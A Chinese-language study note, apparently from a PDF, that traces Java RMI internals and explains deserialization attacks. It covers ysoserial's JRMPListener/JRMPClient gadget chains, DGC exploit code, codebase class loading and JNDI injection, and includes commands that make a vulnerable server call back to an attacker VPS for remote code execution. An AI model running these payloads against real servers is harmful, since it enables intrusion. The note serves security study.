我知道的与RMI相关的Everything RMI (Java Remote Method Invocation) 是Java远程⽅法调⽤,是⼀种允许⼀个 JVM 上的 object 调⽤另⼀个 JVM 上 object ⽅法的机制。RMI 的本质是通过 socket 编程、Java 序列化 和反序列化、动态代理等实现的。 RMI 涉及注册中⼼、服务端和客户端。注册中⼼、服务端、客户端三者之间通信都会涉及序列 化传输⼆进制数据,有序列化,⾃然就会有反序列化。 先知图镇楼https://xz.aliyun.com/t/2223 ⼀、搭建调试环境 1、创建远程⽅法接⼝ import java.rmi.Remote; 1 import java.rmi.RemoteException; 2 3 2、创建远程⽅法接⼝实现类 3、创建注册中⼼,启动 RMI 的注册服务 4、服务端 public interface IService extends Remote { 4 public String queryName(String no) throws RemoteException; 5 } 6 import java.rmi.RemoteException; 1 import java.rmi.server.UnicastRemoteObject; 2 3 public class ServiceImpl extends UnicastRemoteObject implements IService { 4 5 public ServiceImpl() throws RemoteException { 6 } 7 8 @Override 9 public String queryName(String no) throws RemoteException { 10 //方法的具体实现 11 System.out.println("hello "+ no); 12 return String.valueOf(System.currentTimeMillis()); 13 } 14 } 15 import java.rmi.RemoteException; 1 import java.rmi.registry.LocateRegistry; 2 import java.rmi.registry.Registry; 3 4 public class register { 5 public static void main(String[] args) { 6 Registry registry = null; 7 try { 8 registry = LocateRegistry.createRegistry(1099); 9 } catch (RemoteException e) { 10 e.printStackTrace(); 11 } 12 while (true); 13 } 14 } 15 package rmi; 1 import java.rmi.registry.LocateRegistry; 2 import java.rmi.registry.Registry; 3 import java.rmi.server.UnicastRemoteObject; 4 /** 5 * @auther Skay 6 * @date 2021/4/7 17:09 7 5、客户端 ⼆、RMI通信流程分析 * @description 8 */ 9 public class Server { 10 public static void main(String[] args) { 11 Registry registry = null; 12 try { 13 registry = LocateRegistry.getRegistry("127.0.0.1",1099); 14 ServiceImpl obj = new ServiceImpl(); 15 IService service = (IService) UnicastRemoteObject.exportObject(obj, 0); 16 registry.bind("vince",service); 17 } catch (Exception e) { 18 e.printStackTrace(); 19 } 20 } 21 } 22 23 import java.rmi.NotBoundException; 1 import java.rmi.RemoteException; 2 import java.rmi.registry.LocateRegistry; 3 import java.rmi.registry.Registry; 4 5 public class Client { 6 public static void main(String[] args) { 7 Registry registry = null; 8 try { 9 registry = LocateRegistry.getRegistry("127.0.0.1",1099); 10 IService service = (IService) registry.lookup("vince"); 11 String result = service.queryName("jack"); 12 System.out.println("result from remote : "+result); 13 } catch (RemoteException e) { 14 e.printStackTrace(); 15 } catch (NotBoundException e) { 16 e.printStackTrace(); 17 } 18 } 19 } 20 ⾸先启动注册服务 -> 然后执⾏服务端 -> 最后执⾏客户端 可以发现客户端能够成功调⽤服务端上的⽅法,实现远程⽅法调⽤。 1.UnicastRemoteObject RMIServer启动时的⼀个⽅法, 其实也可以没有这个⽅法,HelloServce定义时,继承UnicastRemoteObject即可(例⼦中就是 这样),只有经过UnicastRemoteObject处理的对象,才可以被远程⽅法调⽤。 既然只有经过这个类的处理的对象才能被远程⽅法调⽤,看⼀下这⾥⾯做了什么样的处理 HelloService helloService = (HelloService) UnicastRemoteObject.exportObject(obj, 0); 1 1)java.rmi.server.UnicastRemoteObject#exportObject(java.rmi.Remote, int) 在该⽅法中,会调⽤⽅法exportObject(Remote obj, UnicastServerRef sref),其中会new⼀个 UnicastServerRef对象, 进⼊UnicastServerRef类,会发现其⽗类中包含⼀个LiveRef类型的属性: 查看LiveRef源码,看到其中会有⼀个Endpoint类型的属性,并在下⾯的构造⽅法中给其赋值了 ⼀个TCPEndpoint类型的对象值: TCPEndpoint类具有如下属性,主要包含ip地址与port等信息,该信息应该就是导出的远程对象 对应的信息: 总结下 TCPEndpoint 、LiveRef 、UnicastServerRef 、UnicastRef TCPEndpoint是LiveRef的类属性,⾥⾯有远程对象的信息, UnicastServerRef是UnocastRef的⼦类 LiveRef存储封装的 ObjID 对象和 TCPEndpoint 对象信息, LiveRef是UnicastRef构造⽅法的参数,UnicastServerRef回调⽤⽗类的构造⽅法,⾃然就会 new⼀个LiveRef,其中也就包含了TCPEndpoint 2)java.rmi.server.UnicastRemoteObject#exportObject(java.rmi.Remote, sun.rmi.server.UnicastServerRef) 这时会判断obj是否为UnicastRemoteObject类型,因为我们定义时继承了 UnicastRemoteObject,所以进⼊逻辑 obj的ref 赋值 3)sun.rmi.server.UnicastServerRef#exportObject(java.rmi.Remote, java.lang.Object, boolean) 可以看到会先创建⼀个代理对象,其中handler会包括上⾯创建的LiveRef对象(前⾯也知道了该 对象中包含Endpoint等通信所需信息),因此可以判断在远程调⽤该对象时,客户端获取到的 其实是该代理对象(也就是RemoteObjectInvocationHandler) 4)Target对象的导出 再往下看,会⽣成⼀个Target对象,可以看到该Target对象包含了许多数据(导出的原始对 象,创建的代理对象等)。然后该Target对象⼜被this.ref的exportObject⽅法导出 5)TCPEndpoint的export,listen开启socket通信端⼝ 然后该Target对象⼜被this.ref的exportObject⽅法导出,继续跟进,发现进⼊了TCPEndpoint类 中的属性TCPTransport类的export(Target var1)⽅法 sun.rmi.transport.tcp.TCPTransport#exportObject ,其中会执⾏listen()⽅法,该⽅法就是为 导出的对象去开启⼀个socket通信端⼝: 跟⼊listen⽅法如下,⾸先获取TCPEndpoint对象,然后使⽤该对象去创建⼀个socket服务, 执⾏完上⾯⼀步代码后,发现socket端⼝变成了55821,经过多次测试,发现该值是随机的, 每次运⾏都不⼀样,再下⼀步代码就是开启⼀个单独的线程,来进⾏socket通信.每⼀个导出的 对象都会单独开启⼀个socket,并且⽤⼀个单独的线程来处理socket通信,因此知道服务端不 只是有⼀个Registry监听端⼝,⽽是所有导出对象都会有⼀个监听端⼝,且该端⼝值是随机⽣成 的。 ⾄此,执⾏完毕,打开了socket通信,⽣成的service是 RemoteObjectInvocationHandler ⼀个 代理⽽已 这个步骤可能就是封装到代理⾥,可以看下service 2.LocateRegistry.createRegistry 创建Registry,监听于1099端⼝ 直接返回RegistryImpl对象, 跟进去RegistryImpl的构造⽅法 RegistryImpl类的setup(UnicastServerRef var1)⽅法 这时⼜进⼊UnicastServerRef类的exportObject(Remote var1, Object var2, boolean var3)⽅ 法,后⾯的流程就跟UnicastRemoteObject.exportObject() 步骤三后⾯的⼀样了。 可以看到这⾥导出的对象是RegistryImpl,期间会执⾏setSkeleton⽅法,该⽅法中会⽣成⼀个 RegistryImpl_Skel对象,猜测该对象就是其他⽂章中经常提到的服务端的skeleton对象,最后 ⽣成的RegistryImpl⻓这样。 3.客户端getRegisty()⽅法 LocateRegistry.getRegistry返回的是⼀个代理对象,返回的代理对象为RegistryImpl_Stub类型 4.服务端的bind⽅法 调⽤的是sun.rmi.registry.RegistryImpl_Stub#bind 映⼊眼帘好多writeobject⽅法 5.客户端的lookup⽅法 sun.rmi.registry.RegistryImpl_Stub#lookup lookup之前执⾏了getRegisty⽅法,返回的是RegistryImpl_Stub对象,所以这⾥的lookup调⽤ 的是RegistryImpl_Stub的lookup,我们跟进,已经将关键位置标红 1) ⾸先进⼊UnicastRef类的newCall⽅法 以下为引⽤,原⽂链接找不到了233333 1.⾸先是获取了⼀个TCP连接,可以看到是使⽤LiveRef去创建的连接,在调试 RMIServer时,我们已经知道LiveRef中包含TCPEndpoint属性,其中包含ip与端⼝等通 信信息: 2.再往下⾛,看到new了⼀个StreamRemoteCall对象,进⼊StreamRemoteCall的构造 ⽅法,其做了如下操作,往服务端发送了⼀些数据: 2)回到lookup继续往下⾛,执⾏了var3.writeObject(第⼆个框) 这⾥是将lookup⽅法中传递的远程服务的名称,即字符串“Service”进⾏了序列化并发往了服务 端, 3)super.ref.invoke 然后⼜执⾏了super.ref.invoke⽅法,进⼊该⽅法如下,然后继续往下⾛, 通过ref.invoke⽅法处理服务端响应回来的序列化数据。 1.var1.executeCall() StreamRemoteCall类的executeCall 该⽅法就是处理第7步往服务端发送数据后的服务端响应的数据,看到从响应数据中先读取了⼀ 个字节,值为81,然后⼜继续读取⼀个字节赋值给var1 下⾯是判断var1的值,为1直接return,说明没问题,如果为2的话,会先对对象进⾏反序列化操 作,然后判断是否为Exception类型(⽹上有关于带回显的攻击RMI服务的exp,它就是将执⾏ 完命令后的结果写到异常信息⾥,然后抛出该异常,这样在客户端就可以看到命令执⾏的结果 了,这时得到的var1的值就是2) 当上⼀步var1值为1时,说明没问题, 4)再回到lookup,会执⾏var6.readObject⽅法 将服务端返回的数据反序列化,然后将该对象返回(前⾯我们也知道了,这⾥获取到的其实是⼀ 个代理对象)。⾄此,客户端整个请求的过程也梳理完了 6.服务端lookup 客户端在调⽤lookup时,服务端也在调⽤ 由于客户端通过RegistryImpl_Stub.lookup(String var1)⽅法调⽤时最终调⽤的是服务端的 RegistryImpl.lookup(String var1),注意是RegistryImpl,也就是RegistryImpl_Skel 因此在服务 端的RegistryImpl.lookup(String var1)⽅法中下断点启动服务端,当运⾏客户端代码时,就会停 在该⽅法,如下: 此时调⽤栈如下 7.总结 1. Server端监听⼀个端⼝,这个端⼝是JVM随机选择的; 2. Client端并不知道Server远程对象的通信地址和端⼝,但是Stub中包含了这些信息,并封装 了底层⽹络操作; 3. Client端可以调⽤Stub上的⽅法; 4. Stub连接到Server端监听的通信端⼝并提交参数; 5. 远程Server端上执⾏具体的⽅法,并返回结果给Stub; 6. Stub返回执⾏结果给Client端,从Client看来就好像是Stub在本地执⾏了这个⽅法⼀样; 通过对源码阅读,对 RMI 通信过程有了基本了解。⼤致流程:服务端调⽤ bind ⽅法会在注册 中⼼注册服务。客户端⾸先和注册中⼼通信,通过 lookup ⽅法从注册服务(存储 在 Hashtable 中)获取到代理对象,客户端根据代理对象信息和服务端建⽴新的通信。服务端 通过反射执⾏本地⽅法将结果返回给客户端。 主要涉及类:  \java\rmi\registry\LocateRegistry.java  \sun\rmi\registry\RegistryImpl.class // 根据端⼝⽣成 LiveRef、UnicastServerRef 对 象,并调⽤ setup ⽅法  \sun\rmi\server\UnicastServerRef.class // 存储封装的 LiveRef 对象,创建 Skeleton 对 象  \sun\rmi\server\UnicastRef.class // 存储封装的 LiveRef 对象,远程⽅法调⽤时通过此类 invoke ⽅法调⽤并获取结果  \sun\rmi\transport\LiveRef.class // 存储封装的 ObjID 对象和 TCPEndpoint 对象信息  \sun\rmi\transport\tcp\TCPEndpoint.class // 存储 host、port、csf、ssf 等信息  \sun\rmi\transport\tcp\TCPTransport.class // ServerSocket 多线程获取连接并处理请 求  \sun\rmi\registry\RegistryImpl_Skel.class // 根据 TCPTransport 连接请求调⽤ dispatch ⽅法做相应的处理  \sun\rmi\registry\RegistryImpl_Stub.class // LocateRegistry.createRegistry(1099); 返 回对象,调⽤ bind、list、lookup 等⽅法 通过注册中⼼和服务端的通信可以看到: 1、服务端往 socket 中写⼊序列化数据时,注册中⼼对⽤ case ⼀定会做反序列化处理; 2、注册中⼼往 socket 中写⼊序列化数据时,服务端也⼀定会做反序列化处理; 得出两个结论: 1、我们可以通过不同的⽅法构造⾃⼰的 socket 通信; 2、如果注册中⼼为靶机服务,服务端为攻击端,使⽤原⽣的 RMI 通信会有反被打的可能。 RMI 反序列化 在源码中可以看到注册中⼼、服务端、客户端三者之间通信都会涉及序列化传输⼆进制数据。所 以我们可以根据 RMI 的通信流程构造⾃⼰的请求和靶机通信,也能避免被反打的可能。 ysoserial 项⽬中 JRMPListener 利⽤模块正是重写了 RMI 通信的逻辑。 三、yso⾥⾯关于rmi的payload 1.ysoserial payloads/JRMPLIstener exploit JRMPClient/RMIRegistryExploit原理剖析 1) 攻击流程: 1、先往存在漏洞的服务器发送payloads/JRMPLIstener,使服务器反序列化该payload后,会 开启⼀个rmi服务并监听在设置的端⼝ 2、然后攻击⽅在⾃⼰的服务器使⽤exploit/JRMPClient与存在漏洞的服务器进⾏通信,并且发 送⼀个可命令执⾏的payload(假如存在漏洞的服务器中有使⽤ org.apacje.commons.collections包,则可以发送CommonsCollections系列的payload),从 ⽽达到命令执⾏的结果。 2) 为什么第⼀步payload发过去被反序列化后,⽬标会启动⼀个RMI服务呢? 看⼀下payloads/JRMPLIstener的代码 关键函数在Reflections.createWithConstructor⽅法 public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> { 1 2 public UnicastRemoteObject getObject(final String command) throws Exception { 3 //设置jrmp监听端口 4 int jrmpPort = Integer.parseInt(command); 5 //调用RemoteObject类的构造方法,new UnicastServerRef(jrmpPort)作为构 造方法的参数,然后返回一个ActivationGroupImpl类型的对象 6 UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[]{ 7 RemoteRef.class 8 }, new Object[]{ 9 new UnicastServerRef(jrmpPort) 10 }); 11 //通过反射设置uro对象中的port属性值为jrmpPort 12 Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort); 13 return uro; 14 } 15 } 16 public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) 1 throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 2 //获取constructorClass类的构造方法,从泛型限定来看,constructorClass为 classToInstantiate的父类 3 Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); 4 setAccessible(objCons); 5 //这里会根据constructorClass父类的构造方法新建一个构造方法,但使用该构造方法 newInstance出的对象为constructorClass类型 6 Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(cl assToInstantiate, objCons); 7 setAccessible(sc); 8 //调用constructorClass父类的构造方法,将consArgs作为参数,返回 constructorClass类型的对象 9 通过以上代码的分析,最后知道了⽣成的payload对象为ActivationGroupImpl类型,并将其向上 转型为其⽗类UnicastRemoteObject类型。明⽩该payload怎么⽣成后,就该分析它的gadget链 了。 根据上述链去分析相应的代码 虽然⽣成的payload实际对象为ActivationGroupImpl类型,但其被向上转型为了 UnicastRemoteObject类型,所以在反序列化时⾃然会先执⾏UnicastRemoteObjec的 readObject⽅法,因此在该⽅法中下断点,如下: 跟⼊reexport()⽅法,可以看到执⾏到了如下位置 继续跟进,这⾥就很熟悉了,在前⼀篇调试RMI时,后⾯的流程已经⾛完了:(分析RMIServe 时 最终到了TCPTransport类的exportObject(Target var1)⽅法,如下,即开启了监听,只不过其 导出的对象为上述⽣成的payload本身⽽已 return (T)sc.newInstance(consArgs); 10 } 11 Gadget chain: 1 * UnicastRemoteObject.readObject(ObjectInputStream) line: 235 2 * UnicastRemoteObject.reexport() line: 266 3 * UnicastRemoteObject.exportObject(Remote, int) line: 320 4 * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383 5 * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208 6 * LiveRef.exportObject(Target) line: 147 7 * TCPEndpoint.exportObject(Target) line: 411 8 * TCPTransport.exportObject(Target) line: 249 9 * TCPTransport.listen() line: 319 10 到这⾥,就明⽩了如果服务端反序列化了该payload,即可开启rmi监听。 3) 接下来就可以分析第⼆步了 1.当使⽤RMIRegistryExploit攻击上述开启的监听 使⽤的是bind⽅式 2.当使⽤exploit/JRMPClient攻击 攻击的时DGC 1、攻击⽬标是远程DGC,也就是分布式垃圾收集,只要服务端有listener监听,就⼀定存在 DGC。 2、不反序列化任何数据,意思就是客户端不会接受任何服务端发送的数据,这样就避免了被对 ⽅反过来进⾏攻击。 这⾥就先简单了解⼀下分布式垃圾收集 在Java虚拟机中,对于⼀个本地对象,只要不被本地Java虚拟机中的任何变量引⽤,它就可以 被垃圾回收器回收了。 ⽽对于⼀个远程对象,不仅会被本地Java虚拟机中的变量引⽤还会被远程引⽤。如将远程对象 注册到Rregistry时,Registry注册表就会持有它的远程引⽤。 RMI框架采⽤分布式垃圾收集机制(DGC,Distributed Garbage Collection)来管理远程对象的⽣ 命周期。DGC的主要规则是,只有当⼀个远程对象不受任何本地引⽤和远程引⽤,这个远程对 象才会结束⽣命周期。 当客户端获得了⼀个服务器端的远程对象存根时,就会向服务器发送⼀条租约通知,告诉服务器 ⾃⼰持有这个远程对象的引⽤了。此租约有⼀个租约期限,租约期限可通过系统属性 java.rmi.dgc.leaseValue来设置,以毫秒为单位,其默认值为600 000毫秒。如果租约到期后服 务器端没有继续收到客户端新的租约通知,服务器端就会认为这个客户已经不再持有远程对象的 引⽤。 因此可以通过与DGC通信的⽅式发送恶意payload让服务端进⾏反序列化,从⽽执⾏任意命令。 下⾯是exploit/JRMPClient代码 下⾯就看主要的通信⽅法makeDGCCall了,其发送的通信数据在上⾯调试中均已发现其具体作 ⽤,我也进⾏了注释: public static final void main ( final String[] args ) { 1 if ( args.length < 4 ) { 2 System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <payload_arg>"); 3 System.exit(-1); 4 } 5 //生成指定的命令执行的payload 6 Object payloadObject = Utils.makePayloadObject(args[2], args[3]); 7 String hostname = args[ 0 ]; 8 int port = Integer.parseInt(args[ 1 ]); 9 try { 10 System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port)); 11 //通信方法 12 makeDGCCall(hostname, port, payloadObject); 13 } 14 catch ( Exception e ) { 15 e.printStackTrace(System.err); 16 } 17 Utils.releasePayload(args[2], payloadObject); 18 } 19 public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException { 1 InetSocketAddress isa = new InetSocketAddress(hostname, port); 2 Socket s = null; 3 DataOutputStream dos = null; 4 try { 5 //创建与使用payloads/JRMPLIstener开启监听的rmi服务的Socket通信 6 s = SocketFactory.getDefault().createSocket(hostname, port); 7 s.setKeepAlive(true); 8 s.setTcpNoDelay(true); 9 //获取Socket的输出流 10 OutputStream os = s.getOutputStream(); 11 //将输出流包装成DataOutputStream流对象 12 dos = new DataOutputStream(os); 13 //下面发送了三组数据,是在服务端TCPTransport类的handleMessages方法 调用前通信的数据 14 dos.writeInt(TransportConstants.Magic); // 1246907721; 15 dos.writeShort(TransportConstants.Version); // 2 16 JEP 290之后,对RMI注册表和分布式垃圾收集(DGC)新增了内置过滤器,以上攻击⽅式均失 效了。 2.ysoserial  payloads JRMPClient & exploit JRMPListener ⽹上常⻅的利⽤⽅式 dos.writeByte(TransportConstants.SingleOpProtocol); // 76 17 //在TCPTransport类的handleMessages方法中获取到了80 18 dos.write(TransportConstants.Call); //80 19 //下面依然是往服务器发送数据,但是经过了序列化处理 20 @SuppressWarnings ( "resource" ) 21 final ObjectOutputStream objOut = new MarshalOutputStream(dos); 22 //下面四组数据最终发到服务端是用来创建ObjID对象,并且值与 dgcID[0:0:0, 2]相同 23 objOut.writeLong(2); // DGC 24 objOut.writeInt(0); 25 objOut.writeLong(0); 26 objOut.writeShort(0); 27 //下面数据是在服务端每一个dispatch方法中获取的 28 objOut.writeInt(1); // dirty 29 objOut.writeLong(-669196253586618813L); 30 //前面经过那么多数据的通信,到了这里就可以发送恶意payload了,服务端会 对其进行反序列化处理。 31 objOut.writeObject(payloadObject); 32 33 os.flush(); 34 } 35 finally { 36 if ( dos != null ) { 37 dos.close(); 38 } 39 if ( s != null ) { 40 s.close(); 41 } 42 } 43 } 44 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollecitons1 'calc.exe' java -jar ysoserial.jar JRMPClient 'vpsIP:PORT' > vulrServer 1 这个payloads/JRMPClient 是结合 exploit/JRMPListener 使⽤的(还没看 exploit/JRMPClient) 在⾃⼰的 vps 上挂起 exploit/JRMPListener (可⾃定义反序列化 payload)。 将 payloads/JRMPClient ⽣成的 payload (指定⾃⼰vps的IP和端⼝)发送到漏洞服务器上, 反序列化时,将会根据 JRMP 协议反向连接 vps ,在通信的同时,vps 会将指定好的payload 序列化后再次发送到漏洞服务器上,利⽤正在与 vps 上 exploit/JRMPListener 通信的 JRMPClient 第⼆次反序列化 vps 发送过来的payload,从⽽造成 RCE payloads/JRMPClient(为什么它反序列化时会发起⼀个对外连接呢?) 然后这个 JRMPClient 依靠的就是 RemoteObjectInvocationHandler 反序列化时,会⾃动调⽤ 其⽗类 RemoteObject 的 readObject 函数 然后,我们看反序列化后具体的执⾏流程 先来看看 payloads/JRMPClient 的调⽤流程: 查看关键函数getObject 竖线部分,都是和需要反向连接的 host 和 port 还有 objID 等必要因素(似乎整个流程利⽤的 也是 jre 中已经实现的 rmi 相关的功能) 然后将他们都带⼊了 LiveRef 中,接着⼜封装进了 UnicastRef ⾥,再继续封装进 RemoteObjectInvocationHandler 中,最后⽤ Proxy.newProxyInstance ⽣成了⼀个 proxy , 这个就⽐较熟悉了,和 rmi 反序列化利⽤的⼀样,先⽣成⼀个 proxy,利⽤点就在 invocationHandler 这个成员变量,如上图,也是将 RemoteObjectInvocationHandler 作为了 proxy 的 invocationHandler 成员变量值 然后这个 JRMPClient 依靠的就是 RemoteObjectInvocationHandler 反序列化时,会⾃动调⽤ 其⽗类 RemoteObject 的 readObject 函数 这⾥可能就是为什么在weblogic的payload⾥删掉 RemoteObjectInvocationHandler也可以的原因?ref反序列化也就直接readObject⾛下去了 UnicastRef 也继承了RemoteObject!!! 跟进去,在 RemoteObject 中 这⾥肯定进⼊的是 else,因为我们反序列化创建的是指定了 UnicastRef 这个类的,不会没有名 字 继续看 else 这⾥最后调⽤了 UnicastRef 的 readExternal 函数(这个是序列化的另⼀种⽅式,实现 Externalizable 接⼝) 再调⽤了 read,跟进 这后续的好⼏个部分的内容,都可以根据作者给出的调⽤流程跟进了,不会分析的太详细 步步跟进后,跟到了这⾥: 利⽤的DGC 继续跟进,在调⽤流程⾥提示的是,这⾥调⽤的是 DGCImpl_Stub ⾥的 dirty 看⻅这⼏个框,就感觉很熟悉很熟悉,仔细想想其实就是 rmi 反序列化利⽤过程中 RMI client 中 RegistryImpl_Stub 的实际操作,如下图: 接收到JRMPListener payload后 从 JRMPListener ⽣成的这个 ex 对象来看,应该还是个异常相关的 还记得 Registry 利⽤的过程中,就是利⽤了 server 执⾏的代码后,直接 throw 出异常,然后 返回给 client 端,造成了命令执⾏的回显 那么这⾥理应也该如此,只是利⽤⽅式反过来了,在 JRMPClient 接收到 JRMPListener 的反 馈的异常后,就会将异常反序列化,并且打印出来,那么反序列化过程中,⼜肯定会去反序列化 BadAttributeValueExpException 对象中的 val 成员变量,那么这个时候就触发了我们构造好的 payload 具体是在 DGCImpl_Stub 的 dirty ⾥ 发送了⼀个 newCall 给 JRMPListener 后,继续获取 JRMPListener 的反馈 跟进 UnicastRef.invoke 函数 ⽼路⼦,跟进 StreamRemoteCall.executeCall 函数 我们从上⽂中知道了,这⾥肯定是进⼊ case2 的,接着反 exploit/JRMPListener 监听到Client连接后的处理流程 看看它的⼊⼝函数: 第⼀个红框就是代替了⽤户⾃定义输⼊,我们直接⼿动⽣成 payloadObject,随即就被作为参数 带⼊了 JRMPListener 的构造函数⾥,最后调⽤了 run 函数 先看看 构造函数 payloadObject 赋值给了 当前类的 pyaloadObject 成员,随即就开启的 socket 服务端,准备 好来⾃ JRMPClient 的连接 跟进 run 函数发现,⼀来就开始 accept 来⾃任意 client 的tcp 连接,但是收到连接后,会根据 条件进⾏限制,必须是经过 JRMP 协议的连接才⾏,这其中有⼀些协议解析的控制流程,就不 细看了,我们直接看如果是正常 JRMP 协议的 tcp 连接,那么会进⼊到如下图: 满⾜第⼀个 case 也可以进⼊第⼆个 case 的,其实这两个 case 的判断条件就是⼀个数字⽽ 已,75和76,感觉很熟悉,和 Registry ⾥的 rmi server 端类似 可以看⻅,将重要的东⻄都带⼊了 doMessage 函数⾥,其中还有 payloadObject ,也就是我 们⾃定义⽣成的 payload 跟进 doMessage 函数 读取⼀个 int ,然后根据其值做不同的操作,这个 TransportConstants.Call 其实就是 80 哈,很熟悉吧,Registry ⾥也是 80,可以在 StreamRemoteCall 的构造函数⾥看⻅,它向 server 端发送了⼀个 80 回到 doMessage 函数中,我们继续跟踪 doCall 函数 (⾥⾯其实最重要的部分在于向 client 端发送 payload ,其他部分都仅仅是优化了⽤户体验- 输出显示进度....) 就看关键部分 先返回了⼀个 TransportConstants.ExceptionalReturn ,其值为 2 这⾥⽣成了⼀个 BadAttributeValueExpException 的对象,然后将其 val 成员变量设置为 payload 了,这⾥的payload是我们选取的 CommonsCelloections5 模块⽣成的,只要有反序 列化,那么就会触发代码执⾏。最后将其发送给了 JRMPClient 到这⾥ JRMPListener 已经分析完了 四、Java RMI的动态加载类 RMI的流程中,客户端和服务端之间传递的是⼀些序列化后的对象。如果某⼀端反序列化时发现 ⼀个对象,那么就会去⾃⼰的CLASSPATH下寻找想对应的类。 如果当前JVM中没有某个类的定义(即CLASSPATH下没有),它可以根据codebase去下载这 个类的class,然后动态加载这个对象class⽂件。 java.rmi.server.codebase:java.rmi.server.codebase属性值表示⼀个或多个URL位置,可以从 中下载本地找不到的类,相当于⼀个代码库。代码库定义为将类加载到虚拟机的源或场所,可以 将CLASSPATH视为“本地代码库”,因为它是磁盘上加载本地类的位置的列表。就像 CLASSPATH"本地代码库"⼀样,⼩程序和远程对象使⽤的代码库可以被视为"远程代码库"。 codebase是⼀个地址,告诉Java虚拟机我们应该从哪个地⽅去搜索类;CLASSPATH是本地路 径,⽽codebase通常是远程URL,⽐如http、ftp等。所以动态加载的class⽂件可以保存在web 服务器、ftp中。 如果我们指定 codebase=http://example.com/ ,动态加载 org.vulhub.example.Example 类, 则Java虚拟机会下载这个⽂件http://example.com/org/vulhub/example/Example.class,并 作为 Example类的字节码。 那么只要控制了codebase,就可以加载执⾏恶意类。同时也存在⼀定的限制条件: 由于Java SecurityManager的限制,默认是不允许远程加载的,如果需要进⾏远程加载类, 需要安装RMISecurityManager并且配置java.security.policy,这在后⾯的利⽤中可以看到。 属性 java.rmi.server.useCodebaseOnly 的值必需为false。但是从JDK 6u45、7u21开始, java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁⽤⾃动加载远 程类⽂件,仅从CLASSPATH和当前虚拟机的java.rmi.server.codebase 指定路径加载类⽂ 件。使⽤这个属性来防⽌虚拟机从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。 安装并配置了SecurityManager Java版本低于7u21、6u45,或者设置了 java.rmi.server.useCodebaseOnly=false java.rmi.server.useCodebaseOnly 配置为 true 的情况下,Java虚拟机将只信任预先配置好 的 codebase ,不再⽀持从RMI请求中获取。 注:在JNDI注⼊的利⽤⽅法中也借助了这种动态加载类的思路。 漏洞的主要原理是RMI远程对象加载,即RMI Class Loading机制,会导致RMI客户端命令执⾏ 的 举⼀个⼩栗⼦: 客户端: 五、JNDI及注⼊ 简单来说,JNDI (Java Naming and Directory Interface) 是⼀组应⽤程序接⼝,它为开发⼈员 查找和访问各种资源提供了统⼀的通⽤接⼝,可以⽤来定位⽤户、⽹络、机器、对象和服务等各 种资源。⽐如可以利⽤JNDI在局域⽹上定位⼀台打印机,也可以⽤JNDI来定位数据库服务或⼀ ICalc r = (ICalc) Naming.lookup("rmi://192.168.135.142:1099/refObj"); 1 //从服务端获取RMI服务 2 List<Integer> li = new Payload(); 3 //本地只有一个抽象接口,具体是从cosebase获取的class文件 4 r.sum(li);//RMI服务调用,在这里触发从cosebase中读取class文件执行 5 个远程Java对象。JNDI底层⽀持RMI远程对象,RMI注册的服务可以通过JNDI接⼝来访问和调 ⽤。 其应⽤场景⽐如:动态加载数据库配置⽂件,从⽽保持数据库代码不变动等。 这些对象可以存储在不同的命名或⽬录服务中,例如远程⽅法调⽤(RMI),通⽤对象请求代理 体系结构(CORBA),轻型⽬录访问协议(LDAP)或域名服务(DNS)。(此篇中我们将着 重讲解RMI,提到LDAP) JNDI⽀持多种命名和⽬录提供程序(Naming and Directory Providers),RMI注册表服务提供 程序(RMI Registry Service Provider)允许通过JNDI应⽤接⼝对RMI中注册的远程对象进⾏访 问操作。将RMI服务绑定到JNDI的⼀个好处是更加透明、统⼀和松散耦合,RMI客户端直接通过 URL来定位⼀个远程对象,⽽且该RMI服务可以和包含⼈员,组织和⽹络资源等信息的企业⽬录 链接在⼀起。 RMI服务端在绑定远程对象⾄注册中⼼时,不只是可以绑定RMI服务器本身上的对象,还可以使 ⽤Reference对象指定⼀个托管在第三⽅服务器上的class⽂件,再绑定给注册中⼼。 在客户端处理服务端返回数据时,发现是⼀个Reference对象,就会动态加载这个对象中的类。 攻击者只要能够 JNDI接⼝在初始化时,可以将RMI URL作为参数传⼊,⽽JNDI注⼊就出现在客户端的lookup() 函数中,如果lookup()的参数可控就可能被攻击。 控制RMI客户端去调⽤指定RMI服务器 在可控RMI服务器上绑定Reference对象,Reference对象指定远程恶意类 远程恶意类⽂件的构造⽅法、静态代码块、getObjectInstance()⽅法等处写⼊恶意代码 就可以达到RCE的效果。fasjson组件漏洞rmi、ldap的利⽤形式正是使⽤lndi注⼊,⽽不是有关 RMI反序列化。 Hashtable env = new Hashtable(); 1 env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); 2 //com.sun.jndi.rmi.registry.RegistryContextFactory 是RMI Registry Service Provider对应的Factory 3 env.put(Context.PROVIDER_URL, "rmi://kingx_kali:8080"); 4 注:InitialContext 是⼀个实现了 Context接⼝的类。使⽤这个类作为JNDI命名服务的⼊⼝点。 创建InitialContext 对象需要传⼊⼀组属性,参数类型为java.util.Hashtable或其⼦类之⼀。 JNDI注⼊ 利⽤JNDI References进⾏注⼊ 我们来到JNDI注⼊的核⼼部分,关于JNDI注⼊,@pwntester在BlackHat上的讲义中写的已经很 详细。我们这⾥重点讲⼀下和RMI反序列化相关的部分。接触过JNDI注⼊的同学可能会疑问,不 应该是RMI服务器最终执⾏远程⽅法吗,为什么⽬标服务器lookup()⼀个恶意的RMI服务地址, 会被执⾏恶意代码呢? 在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定⼀个 